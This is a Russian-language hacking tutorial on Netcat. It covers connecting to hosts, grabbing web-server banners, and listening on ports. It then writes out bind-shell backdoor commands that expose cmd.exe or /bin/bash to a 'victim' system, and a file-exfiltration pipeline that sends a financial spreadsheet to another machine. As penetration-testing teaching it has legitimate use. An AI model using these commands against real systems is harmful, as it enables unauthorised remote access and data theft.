Уже более 15 лет пентестеры используют очень мощный инструмент для широкого круга задач. Этот инструмент называется Netcat, и, хотя он хорошо известен в хакерских кругах, но вне хакерского сообщества о нем мало кто знает. Он настолько мощный и полезный, что многие называют его «швейцарским ножом хакера».

В этой статье мы рассмотрим возможности этого инструмента.

Что такое Netcat на самом деле?

Netcat был создан как инструмент сетевого анализа. Он был разработан человеком, о котором мы знаем только его ник — «Хоббит». Без какого-либо материального вознаграждения он передал этот инструмент ИТ-сообществу, за что получил заслуженное уважение и признание сообщества.

Ну, а поскольку это инструмент анализа, то вы можете использовать его для открытия TCP- и UDP-соединений между двумя машинами по любому порту. Он может быть использован как инструмент сканирования портов, аналогичный nmap, для перенаправления портов, проксирования, простого веб-сервера, а также для того, чтобы открыть бэкдор для хакера.

Рассмотрим некоторые из этих возможностей, используя систему BackTrack.

Шаг 1. Откройте Netcat

Как только мы запустим систему BackTrack и откроем терминал, мы сможем использовать netcat, находясь в любой директории, поскольку он по умолчанию находится в директории bin, которая расположена в нашей системной переменной PATH. Итак, давайте введем в консоли:

nc -h

или

netcat -h

или

ncat.exe -h

Netcat

Как видно на скриншоте, основной синтаксис netcat следующий.

Чтоб подключиться к другой машине:

nc options host IP address port

или

netcat options host IP address port

или

ncat.exe options host IP address port

Чтобы прослушивать входящие подключения:

nc -l -p port

или

netcat -lvp port

или

ncat.exe -l -p port

Шаг 2. Использование Netcat для подключения к удаленной системе

Давайте воспользуемся netcat, чтобы подключиться к удаленной системе. В этом случае мы попытаемся подключиться к веб-серверу на порту 80. Для этого нужно ввести:

nc 192.168.1.105 80

или

netcat 192.168.1.105 80

или

ncat.exe 192.168.1.105 80

netcat подключение к серверу

Эта команда по умолчанию создаст для нас TCP-соединение с веб-сервером, расположенным по адресу 192.168.1.105 на 80-м порту. Теперь, независимо от того, что мы введем в консоли, после того как мы нажмем Enter это будет отправлено непосредственно на веб-сервер.

Шаг 3. Используйте Netcat для «захвата баннера»

Как только мы установили TCP-соединение с веб-сервером, мы можем использовать netcat для того, чтобы, как говорят, «захватить баннер» веб-сервера, т. е. определить, какое программное обеспечение использует «жертва».

Помните, что перед атакой на любую систему нам нужно как можно больше узнать о «жертве». Netcat может помочь нам с этим, перехватив баннеры, которые веб-серверы передают при получении новых подключений.

Теперь, когда у нас есть установленное соединение, мы можем сделать захват баннера веб-сервера, набрав в консоли:

HEAD / HTTP/1.0

Будьте внимательны и скопируйте эту команду точно так же, как она набрана — т. е. с помощью слешей и пробелов.

netcat http запрос

Нажмите Enter несколько раз, и веб-сервер будет отвечать нам своим баннером, рассказывая, на каком программном обеспечении он работает. В этом случае мы видим, что на веб-сервере работает Microsoft IIS 6.0.

Netcat в работе

Мы также можем использовать эту технику на других веб-сайтах. Давайте испытаем netcat еще раз на нескольких известных веб-сайтах и посмотрим, на каком программном обеспечении работают их веб-сервера. Попробуем подключиться по 80 порту:

nc 98.129.110.26 80

или

netcat 98.129.110.26 80

или

ncat.exe 98.129.110.26 80

Получив соединение, мы можем захватить баннер веб-сервера, опять набрав:

HEAD / HTTP/1.0

А затем нужно нажать на Enter два или три раза.

Шаг 4. Использование Netcat для прослушивания подключений

Теперь попробуем netcat в роли «слушателя» на удаленной системе. Предположим, что у нас есть сервер под управлением Windows, на котором мы установили netcat. Теперь мы можем ввести следующую команду, чтобы указать netcat прослушивать 6996-й порт (это может быть любой порт) в этой системе.

nc -l -p 6996

или

netcat -lvp 6996

или

ncat.exe -l -p 6996

netcat создание бекдора

Эта команда создала «слушателя», к которому мы можем подключиться. Обратите внимание, что в системах Windows мы можем запустить эту же команду с L в верхнем регистре и, тем самым, создать постоянного «слушателя», который будет работать даже в случае перезагрузки системы.

Шаг 5. Создание бэкдора

Теперь создадим бэкдор в системе «жертвы», в который мы можем вернуться в любое время. Команда будет немного отличаться в зависимости от того, атакуем ли мы систему Linux или Windows.

Для Windows мы используем:

ncat.exe -l -p 6996 -e cmd.exe

Для Linux мы используем;

nc -l -p 6996 -e /bin/bash

или

netcat -l -p 6996 -e /bin/bash

Это откроет «слушателя» в системе, который будет транслировать через себя командную строку Windows или оболочку Linux bash в присоединенную систему. Затем в нашей системе мы вводим:

nc 192.168.1.105 6996

или

netcat 192.168.1.105 6996

или

ncat.exe 192.168.1.105 6996

netcat cmd

Как видите, командная строка Windows была передана через соединение netcat прямо в нашу систему!

Шаг 6. Копирование файлов (эксфильтрация) из целевой системы

Netcat также можно использовать для копирования или получения файлов и данных. Представьте себе, что вам нужно скопировать со своего компьютера какие-нибудь данные, которые вам очень нужны. Может быть, это какие-нибудь финансовые данные или информация, хранящаяся в базе данных. Мы можем использовать данный тулкит, чтобы скопировать эти данные в нашу систему. В этом примере мы будем получать таким образом файл с именем financialprojections.xls — предположительно Excel-файл с финансовыми прогнозами.

Из исходной системы мы вводим в консоли:

type financialprojections.xls | nc 192.168.1.104 6996

Эта команда говорит отобразить файл financialprojections.xls, а затем туннелировать его (|) в netcat (nc) на IP-адрес 192.168.1.104 через порт 6996.

netcat передача файлов

Из системы с нужным файлом, мы тогда вводим:

nc -l -p 6996> financialprojections.xls

или

netcat -lvp 6996> financialprojections.xls

или

ncat.exe -l -p 6996> financialprojections.xls

Эта команда говорит создать «слушателя» (l) на порту (p) 6996 и затем отправить данные, полученные на этом «слушателе», в файл с именем financialprojections.xls.

netcat передача файлов

На скриншоте ниже показано, что файл был скопирован через соединение netcat через порт 6996 на наш компьютер!

netcat соединение

Это всего лишь несколько примеров того, что может сделать эта мощная небольшая программа.

Где скачать?

Для windows можно скачать с сайта nmap.

Для linux можно поставить из пакетного менеджера, например:

apt install netcat

yum install netcat

pkg install netcat